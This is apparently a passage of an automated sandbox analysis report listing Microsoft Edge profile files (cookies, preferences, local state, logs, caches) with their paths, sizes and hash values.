SHA512 5a6ed4a276d86e9d7db55ef73fcedf843aac428b4906b56646e62656a927daddb7879025f45af010e982db9e07f5eff2b1fafd5a02a378db22519dc59a43d337
TLSH
T174E0DFA144CEC56B624420CB86AC770CC3A0344EE688AA025B08D8A9B441004EBB66C2
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 20KB
SHA256 25caa3056d6f79a27ad4e1b20226a3867ca78c065e0cb1a1ca0e42eebcf6eed1
MD5 7fad50f626c0a30cfe0105c12da87833
SHA1 851a951fee4430d4bcf706b80915b92cef399783
SHA512 855e8811ec361bab00b2fd12e6e1a68870878f0a4a4a5a5d2adab59931d8876faff1754406ed18215bbd7911e0aaec438149522a1053261020f608f7e36c8f16
SSDEEP 24:TL0kfLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfXjcccccvGnureNpIvoon:T9LopFMatSaw/auUOt8zIzgouwkRLw
TLSH
T1C992574E5F345220C0B48B36DED4C4632F7C215DD3A3769A9D5420F2CD929DBE6091AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 c2e11cc3eb11010a48d10a59b4c518ec29861755a48d19f3b6c3cbc9a5197b6c
MD5 80309b591b24045be7159d5a85f1468d
SHA1 527cea59309cca4de9afa7d14db3b0d1cb5048a5
SHA512 2c3b3e4e7cd67702491f2a36e7643acfc1b3bf4c47c8ca05235aa8e3358f285367fc71083532fa9a74e948f66b6b4c37241b7e8c0eac55b1aaa44afc639695f3
TLSH
T14C61CDF783F48A6E8910D5F0EA18AE1BCF1D0525432C3C6B89E8EE47D3E3461E10565E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 4587f276afe84b8956c1d025bca87d8c155f8c13f93ef2938b35ac71913d637d
MD5 74595470325db83f1e37fc313d04fcbe
SHA1 90b5b6199a01030b0457c9b279033649addd9da4
SHA512 94f4e10b324726e4ddea4bc51d238c5340f9c3c9b0a4fefd2cbdcfe056889005577b46177c1a3ea13cb70d0e838cbc950ac0c18bd9c346c7f36040c15386090c
TLSH
T1B3719CF783F4866EC91195F0EA18AE1BCF1D0924436C3C5B89E8EE4B93E3461D105A5E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 cbb2ea576a5c5b2820575746360d632c8cdd7a4f562f4e5aa34e9f1ae071f363
MD5 7f5bc6ce3664af4b05bfb4b7a5c78f67
SHA1 953433b8127a57b41d828d16c158de8968c11ca3
SHA512 e8fc1c7305a1eafa15cda6b1417e0684c9d8e3464944952d5987f4499b4550d06f78550cfc9b39ddfd225e23c90d3f47b3e0e8929b8330b311a7bc7cff777e1b
TLSH
T18E61CDF783F48A6E8910D5F0EA18AE1BCF1D0525432C3C6B89E8EE47D3E3461E10565E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 356B
SHA256 7720d1a99b54496d2ae72625023ce1eb5e36ae0f5ed21165cfb17c934e18b9ff
MD5 4746878ccf83a871c6c9a38ca12c8484
SHA1 24df45ac3b2ccec022ddc7571337cb1321d44df6
SHA512 b91cf4cfdb8ac22c6a32e492753a1b35ce3899bb951ddc9553cc11566d314cfa58aff6cfd4f54627a0247c6a7016f64aa0608ba8e4a12104438bc6a1073a346c
TLSH
T1AAE0D89684B9B873107C997F0D84BC596639D434417158E1DDEA456C70C28EB9B51439
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 7f236a29c09496615728e55e0d5d953c30d6f07c6e64325a912c9caf6a1b73ba
MD5 b0adc7c93a5ad7b8d884f1d98c44d098
SHA1 ff9320db7a5b28f9b6abb428a2016c479434b9bc
SHA512 92ce5a4531c944075429b0a43b4201666362f350e9f2deb431df5e9d6a357f7aaa1bce8d3bf8ed34fb01eeffd73dec85a22d9f1b8137e9ff1023f8806e76cd94
SSDEEP 192:sxZ6RwyMqZjK1Ml8UQQkn/fasuWpVKP8Z5z/5nVzodphKHW6+WNWIUHMFYohIacr:sxZ6tqjn/fasuWvKPC5rAEHbtPFdcL+e
TLSH
T16872D8166A34497BCCDBD21DFA55BF53D6F905A3E2904E5899FC8A0C04E7AEC221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 ff1b6314081075a5161733732d95cfe2703c23117d8dd96958e676584c969baf
MD5 037f18714c3d9626410bab4c245a8f69
SHA1 b56fd36421f356d14f73edcdde4350c372028d41
SHA512 b23102ab19708e8b0be780cfecee4b60f001b66c4fa101e700dd26b103014d46c793a5ca1bd394ac1b0d53805d598c9818c9e044a01e992424f0d589a0b707a5
SSDEEP 192:sxZ6RwyMqZjK1Ml8M9n/fas2m8Z5z/5nVzodphKHW6+WNglzXYQIsOcpZxIg5qCJ:sxZ6tln/fas2mC5rAEHbKXQctke
TLSH
T19862E9166A3859778CDBD209FA45BF53D7F905A3E2904E5899FCCA0C04E7ADD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 3b18bd088d97edc192cd15c4684fd7e2f188aadc776214815aca045ec16fca53
MD5 eac7ae524ec01d1775c0aa1dd25eb134
SHA1 a1aa9dfc709c1137b7cfe90791b6e714c93fa6d8
SHA512 cd8785aa6316ae0eb4f592cb588e9180689e238e8f390ee0bb2cadb02a76f6ea3fa6910d92e4df99188d460959c4a67ed05005fe792b49cb37d0c01529bcd5a6
SSDEEP 192:sxZ6RwyMqZjK1Ml8UQ8kn/fas2P8Z5z/5nVzodphKHW6+WNgR1xYQjJacpZxIg5j:sxZ6tqHn/fas2PC5rAEHbsxOctke
TLSH
T1E662D8166A38497B8CDBD21DFA45BF53D6F905A3E2504E5899FCCA0C04E7ADC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 6559458aa40294284ea308085038418afab1e26de95d32491eca38d15e9a9c45
MD5 38810dda751de01108b22f20bbeddf0d
SHA1 5692c65ec55c6e9ee7bab91a5202b443cfa444c0
SHA512 1615beab1c5bd4829bb6bde00c9cd811323128041692d185b8a320f1f7d43c3e1de51f919d5190486fd3128c91b373174903fc68bf7584e6b8822667beb5f5c4
SSDEEP 192:sxZ6RwyMqZjK1Ml8Mkn/fasem8Z5z/5nVzodphKHW6+WNg5J/YQAsxcpZxIgjCJ:sxZ6tMn/fasemC5rAEHbM/7ctje
TLSH
T15B62E8166A38597BCCDBD209FA45BF53D6F91563E2904E5499FCCA0C04E7ADC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 ddd93c640e662c502f8eb86638cc1df77a2298622f6e99b3321005e81ad97b67
MD5 05935d2041921213c2915352f66cfcb9
SHA1 da1777fe0ccc73476b61fb62b7ddeaded5a5d048
SHA512 12857425d3c7e0616dd87b28b12e481e52fac401d62cf2d444b3a35b85e2bfac067ef4244c51b9b84be70447d5a8135ce2be134629431716442650f79874268c
SSDEEP 768:cFADqXGWviq5i8F1+UoAYDCx9Tuqh0VfUC9xbog/OVfRLl5bKp7roK/X:cFADqXGWviq5iu1jaSRLDmpIK/X
TLSH
T16DD20B2F684CCB7E4F841E5CEC266F8B6DD802CB6A984D5447EA844C02C77EE512B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 338B
SHA256 39d456db7e7058ee84f2d76a043f223b6888d0a80f1c3b510a477150c78d0afb
MD5 3236049be78934e0f1274b988029913a
SHA1 e0b9972d5c33e76935502a1306d39d782cc35e64
SHA512 1d6f5adb3c29ca6adead47e680ddeb227933add3560c4db77086c7798ccef3e1be48317cb3d5d59162b119016c8b37cf5ffc4b18a4cb9629f3300554d02e51d2
TLSH
T125E086E005CAD17F61D630C346B8B30CA6E4B45FD6C83D427F88C995A582644F3F26C1
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 112B
SHA256 7d030e1d3fc9d936bda80966fa1b2eabf224dab2cf0e6a0f7aa69c6763b254c4
MD5 83d8a288382c9fd02044d4dd3e8b70eb
SHA1 1ec74bbf4c82ec3f473b3ecd8c2f23fd0c2d909a
SHA512 7359a1a2f9d3ec7980a4fb6d28b93ef84858c55c47733674419511a963512f9a32d781c39448d6fe465e273aebf83dd61f8b7d19a20c9abda3dcb8e10ffce7e9
TLSH
T181B012447B00C245EE8409748AD0D7C07250E00250C45D338C1D6F608D28A9CFF41894
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 c8e51b8d7aadc7eff5f179b3809c57279133e6e4ccb4c5e0d16edb07e7dd9470
MD5 3a3bcd2065252898e3e53325ccd36a15
SHA1 0a2977a4ee68637970d631fae83ef008e70a2fe6
SHA512 b77fccca0b23706cd32923a94470be89766c3ea63984480b8202588fed9ec4b3a2d6c1430580c69b65d60a308644a2b14aca8b23db64213f40353ca3698d6547
TLSH
T1EAE04FA416CAD23B619520DBCAA8F30CC6A2744FE6CD39127B1CD595B246A54B3A3681
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 707d0ce395ac19c6cb5cba93e761dd2047eb04040e3941fdd095239d227c1a3b
MD5 5e0916b6452b41c3ef0044a9cae67fd3
SHA1 b4d8c0ccc1ba43ceae91dd569c177e285430a3ce
SHA512 b24fd802b8689201a26707c93593cf6e8248f939e8e1b32a1e2c64e439cefd94ddd5958e9d096a2242c1b1b5fde075618320072b271b84624470eda0c31e81e7
TLSH
T1A0E086B449CAD63A514460D34AB8B70D82F9789FD7D87A4BB70CC456A141244F3B66C1
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 22KB
SHA256 a0057157e8dd334c633a9eda96eb8ba4e319f181e2f821d33cb32fb5504f1673
MD5 7aa5e46ba15f4c74ae582372f19f5618
SHA1 7746cc1cb8c40710df82529b3106a72752037d90
SHA512 f3a4d618e88a1113e784c50866fe534ce555453e1af8b5b277deed139c36c54fd8d22cdcb6ff776168946c55cb52c29c502a4025af4bfac0904b3515d4c9382f
SSDEEP 96:KY5mKicqtEYKJ6SOhCKiYZ7yKoAS+/yKosjfmKoYuqugKnKA1OKOACqIgK9KeJ2X:cVSnNDxZ9l3iZ3QxVl/1hVPUfPW
TLSH
T117A25A16713A4252387D6D4CB3A68A3B4F4271633418E5AF7FB810B60E2AE125DFD8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 27KB
SHA256 fe178000fb9ef4e9e5091aa2adcb80c1a88094681f5ce879b7e9061a3187caad
MD5 fb06ff2f376fdc841f04a7e4b96b76bc
SHA1 447010254ab5f42616b55e5da3c9c4de9b356fbd
SHA512 c0d7e4c2626ad9209939dd3dc42b262cc9e55d21809dac6a85a27ba4add0f14a9970b5451835c968638429b30d3f105a6a80411f522d49d2a05d67d170d8dd96
SSDEEP 192:cVSnNDxZ9l3iZ3QxVl/1hVPUfPULdXfHx:c8NDb9ViJQXlthlUnUxX/x
TLSH
T19DC2B016717A4212397D294CB3A68A3B4F4271A33414E5AF3FB850B20F2AE125DFD8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 2cbda6fa82d1bbd1c3f979653c1415cec6e1297a57b9fb706d76406608909048
MD5 4454545d58edbba6436b003b21d27b50
SHA1 ce2366fb47159987a4645b5aa4d49429aa88e964
SHA512 58697bafd58689b9a62490e2a3811bb39dc6eae15d50a9b4f9a6c9e3c85c995ade4b58598dd822b4feab3a519d561fba88ead1082d47b552bb829e4234e0ebf0
SSDEEP 192:P+xW880fT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:mxl3fQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1F324620A7B747001EDE6D9721CB080771A3CB16DCF26A6D15DB254698EB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WebAssistDatabase

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase
Size 14KB
SHA256 61ca356f6b45dc09812666e0ef25d3aabc7aec094e14d1521ca51cd4ddc47e69
MD5 ff025987d6319620777b1b4e4dabe68c
SHA1 22a8a19e6c3abd22ea3bdb2ccdf7775ad659b6fb
SHA512 6fb18050eeb438f1c6c7bdb44965d5064bdf690a2daa8f11ef3c2da7b110b1603cf7d0dc4fce3b2c14548d32dd624a26b72a3f349ce47c7c35253d850f0a1492
SSDEEP 24:LLTGxhK3thdkSI5QjUsEGcGBXp22iSBg/L9C9L9C6uJGt:DEK3tjkSI5IUltGhp22iSBg/LOLrOW
TLSH
T1BA52CA9FEE343212CCE987759AC006E5BE3A603E8FC2EB0354D614215AF5651A31F5AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_cloud_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\default_cloud_config.json
Size 13KB
SHA256 f9e4da319fe1f5a7d497c452421f4648a24ec7588f309ebea0f0cd61a6251eef
MD5 256c40bace492c4e28451ce149d2f9ac
SHA1 b48b0eaf986b9efc91d5c8dd394dccb6d82e2adc
SHA512 33b38d1ced015798722180fc8c8ce6daedb18cd5d0e4b3db27d6176c13cf3ccb1bd79f2e68ca390d6eb43ac508c29067e8f1a3ee9f0167cabe37ebbddf6b0ec0
SSDEEP 384:l7BJeojewj9mg1IZyvASoIL5QJwTcoEnE0YU/VwTcoEnE0GU58:l7BJeojewjcg1IZyvASos5FEnE0YREnA
TLSH
T12452007AD2211C7719B8636858BC4692F524137F8281C81F78BC656C8F7FA79A089FDC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Size 13KB
SHA256 8cd54e66a5e0fbbe0f46fca031c3bd46251c4ae87d1197405ff270f9e65c7942
MD5 fc629a5ca7dfeac4774cdcdb7941c560
SHA1 fe784bdce37209ffcd1c9c813df9f6ee6a4815f4
SHA512 e8b32df3492e7ed54ccca698e060c632a9a2017379cd8edba834c65868248f5eff8483cf6264f9288a5ae21b336b09514ba27b944ceb8706cd21a0340d58a43a
SSDEEP 192:awO0XAsHl8MyQ2s8rHmXDzQVIII8bMMIMGXYcYP:a0wsFf2sGgQVIII8bMMIM6Bg
TLSH
T14852842926161F7BC05E1FB713B9879517C688814273266D30A29C8F5DF3A9787C92F3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 322B
SHA256 5a07e28b53d69ea59d77587a7ed6ca6af2a4537b7d0d4ba6c33f3c11fa19cf8e
MD5 75afdd464543c2713db35cc6942f380c
SHA1 1ca475f9b133f98454f6bac5a12f3d8d8f540e9e
SHA512 64c5fcceee29dae6b001a946a88928882c45f6b01dca9f310c94682c8b5d7dacb4f46fa582f5488c69275760673c0c2356631178115453600b1e3f55ed93537f
TLSH
T1A1E02610A8CEC1FFA09520CB02AD670CC2C4384FEB882D065F08C878A001204F7B61C1
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 238c282893cb0a2acf62705464d9b8cf44772a86f352811b8c16c4950ef50e22
MD5 f9ebba5a4c08748e460c175d40a55184
SHA1 48d6a873feaf50e18f19561c232b7c8a12fadfe5
SHA512 93641ec7c60d021c37c29207b02381cad330518eb4d256a2e41ae4803b481eb5d5d23622856b18e88a43f1f4e0f5bfea22041598b459a5bfbcb7ab0d1fc68883
TLSH
T1C921605AF320C158E14E863EA06F97361738D8129FBCED0F547964392E75A010E8B6F5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 340B
SHA256 a4dce81da440655b5f2c0b420aecb4abf2f106ab7a9124ac61d463b055890140
MD5 56d2637cabc4049376ae7a89567dd1a1
SHA1 caac497d2383760937b19015b101abf8f0f0a269
SHA512 5824c70e20c0d44fe5e7acaca13f7ab4ef228092ea85699fe8eced1806359387e0fd320616e5aa95b11c21b906da33215df1ea079b456e64e95739c2ce431d9c
TLSH
T130E04F50A8CED1EF909520D705ACAB4CD6D5388EEB882E0A5F0CC86DA501149B7AA181
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 5397b1e4d02727f89feecb65447d9d36732ed5a769a4104b03a87d18534df5d7
MD5 56a2a701cff31007cf9e991143646df8
SHA1 c82861ca8bf7226a430ddbd40effba181a651023
SHA512 d1319a9fe8626e0f6b5c72b802a5e0952317812b9099153b35c86353f4fe2c1025a8f91000d20e213a31be9daa2b0aba566fbe376c1d9d2b41534512b0410dc8
SSDEEP 3:MsEllllkEthXllkl2zEjlCAKXl:/M/xT02z3AKXl
TLSH
T1BB4402566B800405C51410754055C39013A0E410055257876863A4169C8A5C46C00000
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 894c35abb6152e95268ab3ea3f53157f87930947203f27567eab935b433b216b
MD5 d7972a498b0b9a1ec27183d1851ecbf9
SHA1 1451deedc0662f57e72f1bc57056fcb400114b81
SHA512 2166dad2fc96650ea9145684b7608e751d4808f6fd37caa59bbed9f25a500978ae9e52fdfe56418431ea1b74c6fa9d1fb162785162487379a51756631994526b
SSDEEP 384:n8iFgZcIr3sNJ8TUNTUlI4A7JantCifbZocx8e/Lqw5CmTOObjI9G6w7QyF7Ig6:nFer3Awgo5ocSeuw5CmT29MQX
TLSH
T18AD25C32EC54CABBEDEB4E91B24A7A03DEE44163D69C9AD4E5D86E0C00D75AD430BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 f8149b3f0f0ec8657d901e805aa2a36730163a493f2e4cffab3cfe58d2f9e549
MD5 1d891bc39d65db107a1617370d8b4577
SHA1 21bc0d009269ec707fdc2d594eb99b7d64d90eea
SHA512 79eee56edd1c621fa38919b15c3af91b450aef2f8d8cda6bd7b7b98b121306b16b1ef0685ddaa9db517a800c7fa8f9d4f3a8e8ca1c28de5d2c1037afe387f248
SSDEEP 384:njiFXZcIi/sNiT8TUNTUlI4A7JhAtCifbZocx8e/Lqw5rXP99CukIWWOObjI9G6r:OFf+TTwgs5ocSeuw5rF9CxW29MQX
TLSH
T10203AFF99CD3897AD89E6B47637D2D128ABCC163B5A84598F3881E0CCC6647FE306815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 1de5319ce0d482cc256154419e09b33a5d96a74e83f6f1a1ee89c608114649a9
MD5 048c226168212bfc6ced3ce884beeae7
SHA1 8eb0c987587da314f44efd6e9a6fcfdb2005f967
SHA512 77f53e21f3718759db3077de99297104188f2fc858111ca05875739bc36306286f808635f0412022799e18f51803af53fc24536496384728a8b69064d16012c2
SSDEEP 384:njiFXZcIi/sNiT8TUNTUlI4A7Jh5tCifbZocx8e/Lqw5rXP99CukIWWOObjI9G6r:OFf+TTwgl5ocSeuw5rF9CxW29MQX
TLSH
T1E103AFF99CD3897AD89E6B47637D2D128ABCC163B5A84598F3881E0CCC6647FE306815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 aa2d77fb125cde51bd0c2bcb225ae97c7921b9a1b707ca44de1a6f479a93b21d
MD5 0e44999abfae40de9b50b6580d6da101
SHA1 59f64db0648b2ec17dedc88ed2096a3ba4266ad3
SHA512 b8f5a41298c9ff2d8acbeb2f64c793da465d52b477f83938f01f73e3d91e5e98e4760c934873480a699bbd647244952a9abb46cb80a199764633f67f775cbe42
SSDEEP 384:noiFiZcId3sNJ8TUNTUlI4k7J6ntCifbZocx8e/Lqw5CmTOObjI9G6w7QyF7Ig6:zFQd3AwgA5ocSeuw5CmT29MQX
TLSH
T1BFD25C32EC64CA7BEDEB4F91B24A7A03DEE45163D69C9AD4E5D86E0C00D71AD430BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 34708031001a07c88791a16c4a094e8da395b2ad2458d1c6b7d80b1620281fb0
MD5 842c5f7892828e5634ab3d34bbf8af20
SHA1 0e893643db358922a698e1fe5cbf3526c6600672
SHA512 9659fc3f097eb13e6153468a51cf68a269a2025f2f2175015e708c388d5bd9f291c647725cd4186da16eea994bab11044e33d4249adaa3cfeb1c8704123cdeef
SSDEEP 384:nliF9CcmyWCs3sNZZ8TUNTUlImkrJ1cJCifbZocx8e/Lqw5g7YhkP+lFYS/PLF7O:sFccps30Zwg6locSeuw5g7YhkoFYS/Pg
TLSH
T18EB25C36EC98CABBEDEB4F95E74A7A43DEE41163949899D4EAD81D0C00CB1DD1307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 db954671b1cad0eb45747c4b967bdc3293de20fad024d2340062beb282f1c192
MD5 4090afa058a997b2bdc61f9488e6f9c0
SHA1 0e0706b35f69d80a069ecd5e97d5d280a7480c01
SHA512 cb24a7a3b238cfb0afbbada9f28660f9ad1ffd8613f486fb76ca4a593b9fa3abaa572beed360ec78725482dfa9a6a81a245bf9b45236cff481037afb0a359e6b
SSDEEP 384:niiF9CcmyWCs3sNN8TUNTUlImkrJiM+CifbZocx8e/Lqw5CkThkP+lFYS/PLF7IL:pFccps3Qwg9MocSeuw5CkThkoFYS/Pg
TLSH
T12CC25C36EC98CA6BEDEA4FD1E64A7A43CEE44163D58C9AD4EAD81D0C00DB1ED5307C16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 10502b92d146aa7810e4c37b29380f60fc412b4fb0fcdb970febc6be431513a4
MD5 11924ffa6e84a26d86e5786e13cda9d0
SHA1 802f902c1681bb608a9bfc592751f9fb29ca7806
SHA512 2da483333870b9ba040264e331d1bab2f3aed1c9185c1f72d04b99764e9152359434711a7b71632ef1cbdacc9f661acd167b9b3fbbf6d099eb6984df8fbf9e4c
SSDEEP 384:ngiFXZcIi/sNi38TUNTUlI4A7JhetCifbZocx8e/Lqw5SE7Wr+KnOzkObjI9G6wa:7Ff+T3wg65ocSeuw5SgzKnOz49MQV
TLSH
T113F2D3F598D7897AD8AE5B47637D2E1299FCC163B5A88998F3D41E0CCC520BFD306805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 a0e6a30d72996fcbd03ee892acd91e77d91ab377b2fa1493a8a6769cbb7c1e1d
MD5 617943f92cb0ac8481c05067091b2405
SHA1 f860fb42e57484bf85ad15d7a762c0d603af6d10
SHA512 02d6fc81945e4a58720925f18e91c1b922bd6fd0d7fb8657b03e32a08aaf7378af02580463d181ea578a7ee685067428b152362bbf59b5415f27b718af52e22c
SSDEEP 384:njiFPZcIr3sNJ8TUNTUlI4A7JhntCifbZocx8e/Lqw5ZTOObjI9G6w7QyF7Ig6:OFHr3AwgD5ocSeuw5ZT29MQX
TLSH
T1B0D25C32EC54CA7BEDEB4E91F24A7A03DEE441A3D69C9AD4E5D85E0C00D71AD430BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 a8dbeda2e07a7c5f2d1802924dbd4ca138374524f9a363a6af169df92e5df56f
MD5 a64b2ed05c54ae63c3c704ce453ddf3d
SHA1 2dd98012501560683fbc1e78bd006eb3540f1258
SHA512 a1661de9cfdb305ee1427be0948ec0005726c9c19a70d81adcae7e637f48dc78b4afbe0886abfebedd4fac78af29ca4db72226a81db4028b9775118d86b059af
SSDEEP 3:MsEllllkEthXllkl2zEjlb+tl:/M/xT02zqql
TLSH
T1D3440206ABC04405C50110744019835013A0E420055397832D61A4229C8E548AD00110
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
